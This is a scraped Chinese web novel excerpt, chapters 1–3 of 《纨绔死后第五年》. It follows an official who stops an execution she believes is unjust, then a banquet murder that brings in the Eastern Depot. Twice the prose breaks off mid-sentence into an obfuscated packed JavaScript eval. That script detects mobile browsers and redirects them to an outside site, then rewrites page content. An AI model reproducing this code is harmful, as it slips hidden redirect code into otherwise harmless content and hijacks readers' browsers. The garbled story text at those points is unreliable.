《纨绔死后第五年》 1. 第一章 “咚咚咚!咚咚咚!” 靠着门抱臂打盹的张大被一阵拍门声震醒,一时手麻脚麻的他扑棱一声摔在了地上,哎呦了好几声才忙不迭起身,心头正被毒日头晒得不耐烦,此时听得这叫魂似的拍打,更是添了三分的火气。 “主家养病,闭门谢客,不见——”张大拉开门,还没说话就被来人匆忙的步伐打断,只见来人一身靛青色圆领袍,拂袖而来,面容严肃。 他顿时收敛了适才头脑发昏的惰懒,匆忙迎上去,挤出笑来,恭敬地行礼问安,“陆大人,您何时回京了?老爷昨日还念叨您呢。” 陆云袖跨进门后便脚步匆匆,面对张大的话也只是略顿了下脚步,“老师身体可好?我今晨快马加鞭赶来,实在是有急事协商,必须要见老师一面。” 那厢已有被张大使过眼色的仆从快步去请了关匡愚来,不过一盏茶的功夫,师徒两人便在书房会面。 不过是几月的光景,陆云袖见老师鬓边的斑白又多了些许,刚毅瘦削的面庞也遮不住的垂老,不免心下大恸。老师告病在家,自今年元月起便再没管过公事,而自己在外奔波多日,未能侍奉左右,实是惭愧。 关匡愚杵着拐杖,抬眼瞧见徒弟眼底的愧色,敲了敲地,“不碍事,你平日里是如何谨慎的人,如此急忙赶来,必然是有要事同为师商量,别看我这张老皮子,老朽这骨头硬朗着。” 陆云袖当即从怀中拿出自己连夜写的案件情况递给了关匡愚,“老师您看,这是大理寺覆审过的一个案子。” 关匡愚修养了好几个月,也不是对衙门里的事全然不知,快速读过几行便知道是哪一桩案子,他虽不知个中细节,但看过纸上写的几行字后便觉惊心。 “如今这嫌犯关押何处?”关匡愚捏着纸的手不自觉抓紧了些,问出了当下事情的关键。 陆云袖抿唇,“地方报上来的死刑案,朝廷经过法司审理便发文处置,若拟核无误,便发地方行刑。嫌犯本应在犯案之地问斩,但阴差阳错同去年‘妖言案’的一干犯人一同押解入京,浙闽总督移文刑部请求在京都正法” “嫌犯今日就在法场行刑!” 如平地惊雷,关匡愚头脑一时嗡嗡,混迹官场多年的他哪里不知话里头那句“阴差阳错”背后的文章,一桩冤假错案的水底或许藏着掀翻官场的滔天巨浪。 几息之后,甚是了解陆云袖的关匡愚脑子里过了一个更可怕的想法,他立刻扶住红木长桌的一侧边缘,勉强站稳了身形,面色多了些隐忧,“知微,你莫不是……” 她抬头,眼底映衬着素色纱窗晕进来的日光,坚毅而果敢,“不错,我稍后便赶去法场。” 头脑又是一阵昏黑,关匡愚觉得这段时间的病真是白养了,不自觉低声喃喃,“不成,不成。” 依照律法,死刑案件在最终行刑前会经过有关法司判决、大理寺覆审以及行刑前奏请皇上批朱这多个流程。 这个案子最初是由崇德县审理后移交嘉善府,而后向浙江省提刑司递文审查,在地方审理完毕后移交刑部,有司批答后或打回地方,或准予后发往大理寺覆审。如今这个嫌犯已经要在法场行刑,便是得到了皇上的批朱,已经板上钉钉的死刑案件了。 若是现在说这是一起冤案,那审理此案的地方官和朝廷法司都有罪责,且事发于浙江省,更是近些年来内阁争议颇多之地。 我朝立国百年,沿海地区屡遭海患,朝廷数派钦差前来治理,但都未果。在危机时刻,时任刑部尚书举荐自己的学生齐璞前往浙闽,领了陛下的钦命,担任浙闽总督,十年来齐璞凭借强硬手腕平海患、兴水利、肃吏治,便有今日的东南安澜。但在这锦绣繁华的背后却是浙闽总督与浙江巡抚多有不和,短短几年,浙江巡抚已更换四任。现已是内阁阁臣的金知贤更是处处维护齐璞,内阁中早就不知道吵过几回。 现在浙江出了这样的一件冤案,又赶上了今年年初才任职一年半的浙江巡抚韩成康托病请辞这件事,久经风霜的关匡愚察觉到了几分砭骨的寒冷。 陆云袖立刻上前扶住脸色发青,摇摇欲坠的老师,“老师,您养病在家,大理寺的事都由师兄主持,如今尚未行刑,便有可挽回的余地。” 已经六十三的关匡愚颤颤巍巍跌坐在了圈椅里,大喘了几口气,冷汗浸湿了后背,思过一瞬,便道:“我马上让你师兄去法场,知微,你莫去。” 闻言,陆云袖立刻拒绝,眼神清冷而坚定,“必须我去,您知道,师兄他不会这样做。” 陆云袖对事坚决且有自己的态度,她会这样关匡愚并不意外。他原想着这个案子本就与陆云袖无关,让经手过此案的任平江去合情合理。 可若不是陆云袖,便不会有人愿意去。 关匡愚立即站起来,也顾不得什么了,“为师立刻进宫面圣,你若想好便立刻去。” 这句话背后没有明说的是关匡愚对陆云袖做这件大事的兜底。陆云袖感激过后又觉不妥,“老师您养病在家已有半年,不问政事,安心养病,不……” 陆云袖话还没说完,就被关匡愚挥手打断,“快去,你自己也是刑官出身,莫误了时辰。” *** 疾步走出兴化寺街的陆云袖虽满头大汗,但脑海里的思绪冷静而清晰,本欲借马前往赶往法场,却在转头的一瞬间听到了一个熟悉的声音。 “陆姐,你走那么快作甚?”十五六岁模样的少年与同伴打马而来。 只见封竹西头戴乌纱折角上巾,身着赤色盘领窄袖袍,腰系玉带,脚踩皂皮铜钱靴,立于马上。而一旁同骑马的男子一袭宝蓝襕衫,约莫二十出头的样子。 陆云袖本匆匆一瞥封竹西身旁的男子,却在看到他侧脸的一瞬眸中闪过几分诧异,等到两人下马走来,她不动声色地收起了隐晦的打量。 “陆姐,这是徐方谨,字慕怀。” “慕怀,这是陆大人,刑部任职,满京都没有不认识她的吧。”封竹西很自然地为他们相互介绍,熟悉地拍了拍徐方谨的肩膀。 “陆大人,久仰。”徐方谨恭敬行礼,沉敛而稳重,仪态端正。 陆云袖本就有急事,不欲多言,受过礼后就看向封竹西,语速快且清晰,“小郡王,这马可借我一用,我需得立即赶往法场。” 像是听到什么惊天大秘密,封竹西瞪圆了眼睛,立刻牵过马来给陆云袖,“陆姐你快去,我和慕怀同乘一匹也随你而去!” 这摆明了看热闹的架势,真真是孩子气性。 陆云袖当即一跃而上,“那我可没时间等你,你若想来便来。” 徐方谨和封竹西两人对视一眼,懂得了彼此未言说的话,也随即骑上马,跟上了陆云袖,一路衣袂飘飘,骏马疾驰。 今日行刑,监斩官早命人清理街道。因着行刑是大事,法场早就被围观的百姓围堵起来,一排叠着一排,乌泱泱的人头攒动,肩贴肩,脚踩脚,稀稀拉拉的议论在人群中传来—— “听说今日行刑的可犯了大忌讳,勾结海匪、打家劫舍、占山为王、听说杀了不少官兵呢,朝廷派了不少兵马去剿灭,上头那个看着凶神恶煞的就是首恶,” “真是罪有应得,杀了不少人吧。”瘦高个眯了迷眼,仔细听台上行刑前简述罪犯的罪行,用肘子捅了捅身旁那个人,“你瞧一旁那个扁瘦的,杀妻典尸还是秀才,真是猪狗不如。” “哼!”抱臂在一旁听了一嘴的刘麻子冷笑一声,颇有些咬牙切齿,“我看那些官兵才是猪狗不如,不过是路过我那,便要了我一两银子!” 瘦高个同适才说话的面面相觑,都不说话了,心里还是同情的,委解刑犯的途中发生解役向沿途店铺需索的事常有,就连那台上监斩棚和囚棚都是城口开棚铺的店面均钱交付官棚铺作为贴费。 他们这些寻常老百姓看个热闹,这些铺户却是损失了不少实利,颇为困苦。 台上明锣鼓示警,场面骤然安静了下来,毒辣的日头晒得人面皮生皱,却无人敢说话,刽子手的大刀尖锐无比,青天白日下闪烁着耀眼的寒光。 监斩官照例验明正身,问犯人是否有冤屈,语气生硬,铁面无情,垂下来的眸光冷冽,如一把尖刀刺穿人的皮肉。 “我……” 被绑着的囚犯言语支吾,显然从大牢里被带出来便神情恍惚,这样的事在任过多次监斩官的魏铭眼中不过是寻常事。 静默的眼神像是能杀人,经历过无数刑罚和多次审讯的李忠冲面色惨白,浑身打颤,直觉天地昏黑,喉中积着淤血,透体冰冷,想起那些惨无人道的刑罚,他死命哽住口中的血气,“我无……” “慢着!” 飞声传来炸开了法场,所有的人的目光齐齐往来人那个方向看。惊诧、疑惑、兴奋,纷纷出现在了不同人的脸上,台下突然喧闹了起来。 “肃静!”监斩官魏铭抬手遮过日光,看到了来人,只觉心惊,但为官多年很快镇定了下来,疾声厉词劈头盖脸而来—— “陆云袖!你要造反不成?胆敢劫法场,你是不要命了吗?” 陆云袖镇定自若,坦坦荡荡,丝毫不惧魏铭这个刑部侍郎,下马后快步走来,不去理会魏铭口中“劫法场的杀招”。 只见陆云袖朝李忠冲看去。 “李忠冲,我且问你,人真的是你杀的吗?尸体是你典卖的吗?为何你几次更改供词?为何你咬出张孝贵却屡遭酷刑?为何你父母上京控告你没有杀人?” 一连串的质询像是一计响雷,轰轰隆隆地炸在了整个法场上空,久久回荡。 一刹那,底下的百姓全部振奋了,皇城根下活着的百姓哪个不是人精,他们从陆云袖的口中仿佛看到了一起天大的冤案,自古法场救冤,是话本里常见的套数,却不曾想有一日自己也能见到。 “你你你!”魏铭眼见场面失控,气得血气滚动,眼前一阵又一阵的昏黑,天旋地转,为官三十载,他就没见过像陆云袖这样胆大包天的下属。 偏生她最有名气,二十多年前被婆家状告杀夫害女,酷刑加诸却烈如钢铁,宁死不屈,后来接替主审的关匡愚明断刑理,从夫家错处百出的供词里还了陆云袖清白。沉冤得雪后的陆云袖又参加了科举,谁知给她考出个我朝首个女状元,举国震惊,甚至有人怀疑邸报传抄错误。 大魏开国的君主的皇后赵氏精通数算运筹之学,当年与太祖一同打天下,后方供给的田亩财货,粮草供输皆出自她之手。当年赵皇后被特封户部尚书,掌管机要,统筹于股掌间,立国后也是赵氏首开女子科举,有名的几位女官皆出自那时的朝廷。但而后百年,女官渐渐寥落,再有也不过是供职宫苑内禁。故陆云袖的横空出世至今仍为人称道,哪怕朝野议论颇多,争论不休。 见状,封竹西立刻挥手大喊,“是冤案!是冤案!” 这一声像是火把,以燎原之势席卷法场,百姓也跟着喊“是冤案”,一时群情激奋,哪管它对错真假,一股脑跟着喊。台下顶头喊得最大声最起劲的是刚刚那个埋怨自己被索套的铺户。 燎原之火,势不可挡。 远远看到这个混世魔王的魏铭已经要站不住脚了,头上的冷汗热汗交织,下一刻又听台上的囚犯纷纷喊冤,他软瘫在书办的搀扶下,大喘着气。 民怨如此,怎能不顾?况且依照例法,行刑前刑犯当众喊冤必须停止行刑。 他现在恨不得生啖陆云袖的肉来嚼了吃了,只能挥手让下属叫停,打道回府,紧急通报内阁和刑部堂官。 这一道命令下来,仿佛民声上达天听,一众百姓欢呼,齐刷刷跪下,对着台上正义凛然的陆云袖山呼“青天大老爷”。 一声叠着一声,仿佛穿越整个京都。 陆云袖跟台下的封竹西和徐方谨示意后便跟着魏铭一道走了,只是眼中些许冷沉的光在徐方谨的脸上扫过几次。 “慕怀,我从来没有见过这样的场面。”封竹西挂在脸上的兴奋就没下去过,反倒是徐方谨冷静了下来,缓缓道出—— “平章,这事恐怕没那么简单。推翻一个要行刑的案子,就意味着审理这个案子的全部涉事官员都有罪责,牵连者从县到朝廷法司。陆大人接下来要面对的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251936|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艰险万分。稍有不慎,便是这台上客了。” 这一盆冷水浇的封竹西的心火凉了大半,不由得发问,“这如何是好?” “避无可避,兵来将挡,水来土掩。” 徐方谨牵过来马来,看了眼有些沮丧的封竹西,情绪大起大落全写在脸上,心莫名软了下来,想起封竹西只有七八岁大的时候,总缠着他去郊外马场跑马,抓蚂蚁斗蛐蛐样样上心。如今虽是到了舞象之年,但脾性还似小时候。 “走吧,不是还要给许兄过生辰吗?”徐方谨好心提醒一下他。 说到这件事,封竹西提起劲来,他平日里酒肉朋友多了去了,进学只余时常参加各种京都纨绔子弟办的宴饮,去或不去随他心意来定。但许宣季不一样,他们是多年的好友,还曾经在危难的时候救过他一命,他今天说什么都得去。 封竹西和徐方谨一同翻身上马,朝着京都城西的醉云楼骑去。 *** 雕栏画栋,暖意拂人,淡淡的兰花清香氤氲,帘幕纱幔一层层垂委,隔开了喧嚣,显出静谧冷幽的气息。 醉云楼天字号厢房素来是宴宾谢客的绝佳之地,也是膏腴子弟常来之所。 此时天字号青玉阁内弥漫着焦躁的气氛,有一种诡异的寂静充斥其中。 “我就搞不明白了,那个徐方谨到底是什么来头?怎么一连两个月,小郡王都推脱我们的宴请去跟那个名不见经传的徐方谨凑在一块。”一个急躁的声音打破了此地的静谧。 “谁说不是呢,到底是何方神圣让小郡王‘流连忘返’喽。” 一个身着锦袍华衣的男子慢悠悠抬手替自己倒了一杯酒,未入口前摇了摇酒杯,似讥似讽地朝宴会中心的许宣季看过去,“我们许老板都没着急,你们急什么?他跟小郡王可是过命的交情……不过这两个月小郡王也没怎么找许老板吧。” 这话直冲冲的,在场的所有人都下意识噤声,他们虽然总凑在一起,但彼此心里都清楚相交的这些酒肉朋友里哪些是不可以得罪的。 许宣季是商贾出身,却无半点刻薄吝啬之气,且脾气好,说什么做什么都是温温和和的,待人也谦和有礼,众人也都信服他。 而刚刚呛声的是大理寺卿的独子关修明,因着家世的关系跟小郡王玩得来,自幼被家里娇惯,素来由于许宣季的出身而轻视于他,出言嘲讽都是寻常事,但许宣季从不和他计较。 只是这一次,许宣季却在他的嘲讽中开口了,“前日见过,平章过府的时候送了几株西府海棠同我观赏,今日生辰宴席的菜式也与他商议过几道。” 闻言,刚刚那几个先挑拨的眼底都浮现几分艳羡,西府海棠是花中上品,但也不是什么不可得的稀罕物,他们羡慕的是小郡王与许宣季那份情谊,许宣季钟意花木,小郡王能投人所好且与其亲密往来,这是他们这些陪场疏客万不能及的。 “莫说许兄,就是关公子近来也少见小郡王吧。你自个也担心着吧,那个徐方谨手段多着呢,哪日和小郡王疏远了就没地哭去。”最靠近许宣季的玄衣男子最看不惯关修明这幅狗眼看人低的态度,冷笑一声,将酒杯稳当地放下,发出清脆的声响。 关修明听不得别人反驳和嘲讽,当即火冒三丈,“那徐方谨算个什么东西,不过就是国子监的一个穷书生,巧言令色,阿谀取容,你们还真把他当回事了不成?” “可我听说……” 众人的目光齐刷刷看过去,那人的声音便小了些,但还是壮着胆说完,“我听说,徐方谨跟靖远侯长得有几分相似。” 沉默如水波涌动,顿时鸦雀无声,落针可闻。 靖远侯江扶舟,字积玉,实是传奇一般的人物,在座的大多只听其名,未见其人,但无人不知他的生平。其母为平阳郡主云辞镜,其父江怀瑾,曾官至工部尚书。江扶舟出生在边塞,八岁前随平阳郡主驻守边境,九岁时回京,游荡京都、串街走马、不通文墨、饮酒作乐,是远近闻名的纨绔子弟。 十三岁拜武将岑国公朱霄为师,研习兵术列阵,十五岁随京营投军戍北,在庆州之战中以三千胜三万戎蛮,一战成名,一洗三十年来大魏北境萎靡之气。此后屡战屡胜,所向披靡,以军功封候。 彼时的天子延熙帝身份较为特殊,其兄永兴帝在端州一战后被北蛮所掳,兵临城下,京都大乱,延熙帝奉皇太后旨意登基为帝,收拢残兵,击退敌军,又立永兴帝之子为太子以安朝局。庆州一战,军心振奋,举国皆贺,延熙帝慧眼识英才,十里相迎,扫榻以待,尔后江扶舟为天子宠臣,身势煊赫。 延熙七年,北蛮送归被俘七年的太上皇永兴帝,边境苦寒,江扶舟擎旗护列,千里相送,从此君臣离心,猜忌日起。岂料世事风云骤转,延熙十一年,延熙帝病故,永兴帝借朝中故旧之力重返帝位,江扶舟则凭从龙之功再度被重用,坊间传闻其骄横跋扈、桀骜不恭、目中无人。 建宁元年,太子封衍被废,以大不敬之罪落狱,江扶舟向天子求娶废太子以示凌辱,满朝皆惊,太子一党恨不得食其肉而寝其皮。 建宁四年,江扶舟再赴北境,端阳知县周云谏截获书信,上告朝廷江扶舟私卖军需、以战养战,通敌叛国。同年,江府失火,无人生还,江扶舟被押解进京,饮鸩自尽,年仅二十有五。 而小郡王是江扶舟一手带大的,感情自然亲厚非常人所比。他们与小郡王来往,向来不敢触碰靖远侯这个逆鳞,也不会当面论其是非对错。 “徐公子人品端方持正,我虽未同他深交,但也听平章谈及他的品性,诸位还是莫妄加猜测。”一直在听旁人说话的许宣季抬眸,神情淡漠,他挽袖倒茶,黄花梨木海云纹圆桌上端端放着三杯茶,烟气袅袅,茶香四溢,仿佛适才的争端与他无关。 一直跟许宣季交好的孙将时见不得他委曲求全,站起身来,“许兄,你未免脾气太好了,我看小郡王如今这样就是这个徐方谨在背后搬弄口舌,你多加忍让只会让他小人得志。不过就是长得几分像……” “像什么?”一个清朗疏阔的声音突然推门而入,众人蓦然一惊。 2. 第二章 许宣季缓缓起身,对上大阔步走进来的封竹西,得体地行礼寒暄,“项庄舞剑,意在沛公。平章再迟上片刻,我这便要摆鸿门宴了。” “小郡王。”众人也纷纷起身行礼作揖。 封竹西随意摆了摆手示意免礼后便接过许宣季递过来的茶杯一饮而尽,解了口渴之后才有心情跟他们打趣,“那我可得仔细提防着。你们一个两个都没安好心。” “想必这就是徐公子了,果然风神俊雅,气度不凡。”许宣季的目光落在了封竹西的后头,深邃眼眸里的思绪平淡,几分打量恰到好处又不失礼数。 “今日许兄生辰,区区薄利不成敬意。”徐方谨拿出随身带着的锦盒递过去。 封竹西拍了拍许宣季的肩膀,“哎呦,你们这样互相端着累不累,别客气,大家都坐下吧。来迟了是我的错,今日的宴席算我账上。” 他许久未见到他们这些一同吃喝玩乐的友人了,进学理事之后便忙得昏天黑地,所幸有徐方谨在一旁指点迷津,他俩一顿饭都将就着吃,哪里有什么山珍海味,许久不见,他有些怀念醉云楼的饭菜了。 “我让人上菜来,平章这段时日忙,估摸也没来过醉云楼,新出了一道醉鹅可是让人拍案叫绝,我嘱咐掌柜今日多做些来。” 一听醉鹅封竹西眼睛都亮了,“知我者,堂浔也。我好久没吃顿好的了,整日就是埋头书卷闭眼卷宗的,这醉鹅我可得好好尝一尝。” 听到卷宗二字许宣季眼底闪过一瞬,抬眼时又对上了徐方谨的目光,两人素未谋面,却都从封竹西的口中听过彼此的名字。 起初他并不觉得有什么所谓,但真的看到徐方谨的那一刻,他心中警铃大作。作为在场为数不多见过江扶舟的人,许宣季这些年也不是没见过有人为了投其所好寻些长相相似的人接近封竹西,但都没有这一次让他感到不安。 人云画虎画皮难画骨,那分神似最难得。徐方谨论长相,不过二三分与江扶舟相像,但几分神似却极其添彩,极可贵的是他举手投足间又能让认识江扶舟的人说出不同来。这微妙的感觉总会让人多看他几眼。 “久闻徐公子大名,今日得见是平生乐事。许某不才,在京都客旅多年,做些小生意罢了,若有我帮得上忙的地方,敢请直言。”许宣季客气地招呼徐方谨在封竹西身旁的位置落座。 “客气,不敢当。” 徐方谨落落大方地坐下,自然坦荡地接受了来自四面八方的探究和打量,举止悠然自适,仿若是在自家饭桌上入席一般,目光落在了正在垫肚子的封竹西身上,不由觉得好笑,伸手接过了他塞来的柑橘。 其他人看到他们如此亲密,都有些眼热,心中那几分不平愤懑又都涌了上来,他们在座的这些哪个不是跟着封竹西玩了几年才有资格入今日的宴席。徐方谨不过几个月便和小郡王关系密切,让他们如何意平。 “在京多年,还未曾知道有徐公子这样龙章凤姿的人物,不知徐公子从何处来。” “徐某是河南新县人,前几个月转入京都国子监,入京不过两月有余。” 闻言,孙将时挑眉,“那徐公子又是在哪里与小郡王相识的。” 徐方谨淡淡掸了掸衣摆上的灰尘,眉目隽秀,“赌坊。” “噗—”有人一口酒差点噎住,直呛地咳嗽。 众目睽睽,面面相觑,一时竟然无话。 一直忙着吃的封竹西终于开口,“那都是缘分,慕怀的赌术是绝佳,你们都没见到那天慕怀在赌坊里是大杀四方啊。” 这下众人总算心底有了些安慰,找到了他们这些膏腴子弟吃喝玩乐的共同点,脸上勉强多了些笑容,看来小郡王还是玩心比较重。 “不过据我所知,徐公子似是在南都国子监犯了事才来京都的,竟能在赌坊里那么巧遇到小郡王,可见真是缘分不浅呀。” 那句“犯了事”让在场的气氛顿时凝固了下来,说说笑笑的玩乐声渐消,这短短几句话意味幽深,先点名徐方谨品行不端,后暗指他犯错了还能入学京都国子监,可见手段高超,再者“巧遇”封竹西是暗示他目的不纯。 封竹西眉头紧皱,放下筷子,刚想说两句就被徐方谨抬手制止,“想必这位就是孙侍郎家的公子,久闻家风端正,前日还在羊角胡同街大展身手,可见武艺不俗,是人中龙凤。” 这话里无一字贬损,却字字扎心。工部侍郎孙明宇前阵子被御史参奏在外豢养外室,苟且生女,宠妾灭妻,家风不正,失大臣之体。而正是因为这件事孙将时带一干人等到羊角胡同里大闹,却冲撞了长公主的鸾驾,被人当众赐鞭打十下。一连一个月,自觉丢脸的孙将时是大门不出二门不迈。 “你……”反话正说,听者有意,偏偏孙将时还说不出什么来,一口老血堵在心口上不去下不来。 徐方谨轻轻将酒杯放下,清脆的一声却让人听出些不寻常来,“我此番入学国子监承蒙袁故知大人推举,不知这‘犯事’二字是何种说法?再者,我也是一月前才知晓平章身份。” 三两句话,有理有据,将适才孙将时话里全部的杀机轻松摆平,还暗自给了他一个没脸,又让他有苦难言,这手段心性让众人不由得暗自揣测。 且他提到的袁故知,是内阁阁老金知贤的得意门生,听说在地方政绩卓异,不日便会调任回京,举荐二字平平无奇,背后却叫人咂摸出其他意味来。 “无隅,这便是你的不对了,你同平章相识七八年了,就算关心则乱,也不能拿一些无端猜测来论短道长,还不快向徐公子赔礼道歉。”许宣季出来打了圆场,先端起酒杯致歉,将姿态放低却不显阿谀谄媚,反而让人多了几分好感。 封竹西面色难看,看着自己这个多年的玩伴,语气生硬了些,“无隅,你这是把外头的气撒在我身上了不成。” 孙将时哪里敢得罪封竹西,连忙起身倒酒满杯,连饮三杯,赔礼道歉,这才让封竹西的脸色缓和了几分。 许宣季见蔫了一般的孙将时,眉目深敛,随后抬手鼓了两声掌,只见从外头抬进来了一个大箱子,身旁跟着几个穿着粗麻短打,浑身干练的杂耍艺人。 “他们最近编排了新的杂耍花样,还未演出过,今日借此良机,便请大家一饱眼福。” “莫不是专供踏雪阁的杂耍班子,那我们可就翘首以盼了。” “许兄真是门路通达,这踏雪阁的班子可不轻易外借,上回我舅舅大寿可左右请不到人,只能请了兴化寺街的那家杂耍班子,比起你这个可差远喽。”说话的是刑部侍郎左静思家的三公子左兴澜。 万众瞩目皆在场内,只见高瘦的汉子满脸黝黑,躬身行礼之后便挺身站直,精壮有力的肩膀上的钢圈陡然抬起,在空中飞速旋转,舞动了三圈,他朝圈中吹起,倏而一条火焰便喷涌而出,随后在他手里捏成了不同的形状,游离转动,令人目不暇接。 一众的目光都被吸引住了,随着变化多样的火焰而感到惊奇。 班主站定,高声大呼:“请看刀分活人!” 说着就有两个精瘦的老头合力去打开箱子的顶盖,一鼓作气地掀开。 岂料变故陡生! 两个搬箱的老头突然跌坐在地,巨大的重力让箱盖猛地砸落在地上,发出轰隆的声响。 “死人了,救命啊!”只见杂耍艺人看到箱子里的惨状立刻吓白了脸,火圈也脱力失手砸向了封竹西这边。 说时迟那时快,徐方谨立刻扑在了封竹西的身上滚了几圈,随后反应极快地一脚将火圈踢到了没人的地方。 一句死人了让在场的全部都慌了神,目光落在了那口大箱子里,血液渗出箱子缓缓流出,滴落在造价昂贵的氍毹上显得格外渗人。 只见一个赤身/裸/体的女子僵硬地躺在箱子里头,浑身布满青紫的伤疤,扑面而来的臭味混着青玉阁内的熏香,演变为一种令人作呕的恶臭,有人受不住直接吐了出来。 一时尖叫声、奔走声、踩踏声乱做了一团。 消息传得飞快,洞开的门忽然大开,四面通风,得到消息的掌柜带着一干人等迅速赶来。 掌柜看着慌乱的局面,不由脸沉了下来,又快步走到了那口渗血的大箱子面前,捏着鼻子看里头的场景,忽然惊恐和莫大的震悚爬上了他的瞳孔,手脚软麻而不听使唤,像是被人掐住了咽喉,他猛地一跺脚找回了自己的魂,然后大声喊道—— “谁都不准走!” 很快几十个粗壮的大汗将整个青玉阁围了个水泄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251937|182005||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不通。 “赵掌柜,你这是做什么?看清我是谁?” 赵掌柜目露凶光,仿佛张开獠牙血口,看向丢了三魂七魄已经站不住脚只想逃跑的左兴澜,咬牙切齿,“今天就算是天王老子来了也别想让任何人走出这里!” 这巨大的不寻常反应让人心生狐疑,又想起坊间传闻里这醉云楼背后的庄家跟东厂有着千丝万缕的关系,不由得脊背发寒,惊悚而胆颤。 徐方谨和许宣季两人一同护着封竹西,对视一眼之后移开看向了正中央的那口大箱子。 封竹西从他俩中间探出脑袋来,煞有介事地语气凝重,“我来看看,这必定是一桩冤案。” 但脑袋瓜子刚有影子就被徐方谨一巴掌给塞了回去,“莫看,此地甚是危险。” “哎哎哎,我就看一……” 话还没说完,楼下传来了更大的喧哗,此起彼伏惊叫声穿透了木板直达楼上,咚咚的声响像是厉鬼索命。 徐方谨戒备更慎,绷紧的思绪拧成了一根绳,丝毫都不肯放松。 脚步声很快到了这一层,只见赵掌柜忙不迭滚身起来跑过去,点头哈腰地倾身在领头的人耳边说了什么。 “噌——”拔刀声起,寒光凌冽。 天地骤然一静,众人抬眼看去,胆小之人更是手脚发软跌坐在地,往后躲去。 头戴圆帽,身着朱红曳撒,脚蹬皂靴,这全京城都认识这身装束—— 这是东厂的番役,凶名在外,寻常人恨不得绕十里八圈避得远远的,更别说离那么近了。 只见人高马大的东厂校尉巡视了四周,面无表情地摆了一下手,“全部拿回去。” “不行,你不能抓我走,我是……” 话刚说半截就被身后的番役捂住了嘴,手肘猛地捅了一下腹部,那人便被迫痛得弯腰,接着被人毫不留情地拖走。 “我管你是谁,进了东厂门,都是犯人。”校尉冷笑一声,抱臂冷眼看着刚才还奋力挣扎的人现在如死尸一般被拖行。 有此一例,在场的人没有一个敢再说一个字,束手就擒以免遭受更多的迫害。 校尉忽而将目光落在了封竹西身上,眉头深皱,随后抬步而来,再出声时褪了几分嚣张的气焰,恭敬地说:“郡王爷,今日事发突然,有命在身,麻烦您走一趟了。” 封竹西听过东厂的名声,但这般“大张旗鼓”地办案还是头回见,十五六的少年涉世未深,心里也没底,刚刚的事情发生得太快,怎么那么突然东厂的人就到了。 “行,我也去一趟。”封竹西站了出来,遇到事情他也不能一直站在别人身后等着被保护,他看了眼几个战战兢兢的好友,“我们一行人适才都在青玉阁,彼此都有作证,望你善待于他们。” 校尉拱了拱手,“东厂不无事生非,无罪之人自然无事。” 等到校尉走远去处理物证和尸体,徐方谨轻声说,“东厂的人来得出奇,若发生命案,理应报五城兵马司或巡捕营。” 经他这一点拨,封竹西思绪复杂的脑海里好像隐隐抓住了什么,他瞪大眼睛立刻捂住嘴,用手指悄悄指了指赵掌柜,又指了指尸体,乱七八糟地比划了一通,看得徐方谨只想笑。 但这个关头怎么笑得出来,他叹了口气,替封竹西理了理卷起的衣袖,“走吧。” 他身上似乎天然有种让人信任的力量,一句话一个动作,就能让同行的人感到心安。许宣季淡然了一日的表情从眼底出现了裂缝,很浅的一道,却仿佛能吸进狂风骤雨,藏在袖中的手握紧攥了下衣袖。 “徐兄不像初来乍到,倒似对京都很了解。” 徐方谨抬眸,对上许宣季探究的神情,眉眼疏淡,“我幼时来京都小住过一段时日,可能京都怎么多年变化不大吧。” “是吗?那徐兄记性不错。”许宣季了然地笑了笑。 徐方谨抬步随着封竹西一同走,随口接道:“承蒙夸奖。” 封竹西丈二和尚摸不着头脑,“你们俩在打哑谜吗?” 徐方谨:“没有。” 许宣季:“没有。” 同时应和的这一声让封竹西诧异,他狐疑地将目光在他们俩身上流转了几下。 ? 3. 第三章 一堂寂静,淡淡的苏合香从鎏金鹤擎博山炉中袅袅升起,窗明几净,疏落的竹影斑驳,倒映在三交六椀菱花纹窗上。 只听刀在火上烤过的细微声响,而后便是划开皮肉的窸窣动静,鲜红的血液很快落在了一盏青花缠枝纹碗中,一滴一滴落下,很快便盛了两指节高。 随身伺候的青越似是不忍看,一直偏过头去,几息后心惊肉跳地快步走来,“够了够了。”然后动作娴熟地替封衍撒上止血的药粉,包扎伤口。 等包扎好手上的伤口后,封衍拿过案几上的册子,随手翻过几页,但由于失血,眼前的景象又模糊了起来,他单手撑着额头,眉心拧紧,又将巴掌大的册子放在了案上。 青越壮着胆劝阻,“主子处理政务到亥时,今早五更便起了,褚大夫早就叮嘱过,莫要操劳,否则这眼睛怕是很难痊愈。 几年前封衍去西南边疆处理叛乱遭到下毒暗算,一度生死垂危,解毒后留下了无法视清的病症,后来经过长久的诊治才慢慢恢复了些。但由于要用血来给世子治病,便时常发作,严重的时候甚至完全无法视物。 “不碍事,星眠可醒了?”封衍接过青酩递来的一盏热茶,饮后搁在一旁。 青越回禀,“今早主子守着世子睡下,如今尚未醒。现下是褚大夫在看顾,血引送到之后便会立即入药。” 封衍揉了揉发痛的眉心,初春解冻,西北战事再起波澜,北蛮小范围频繁侵袭搅扰边境,连日来的军情奏报不容乐观。昨日星眠又受风发热,已是今年的第三次病了。 他正垂眸沉思,便听到下人通禀沈修竹到了,轻敲了两下桌案,外头候着的人掀帘进来,毫不客气地端起茶盏呷一口,视线来回在封衍身上打转。 “有话直说。” 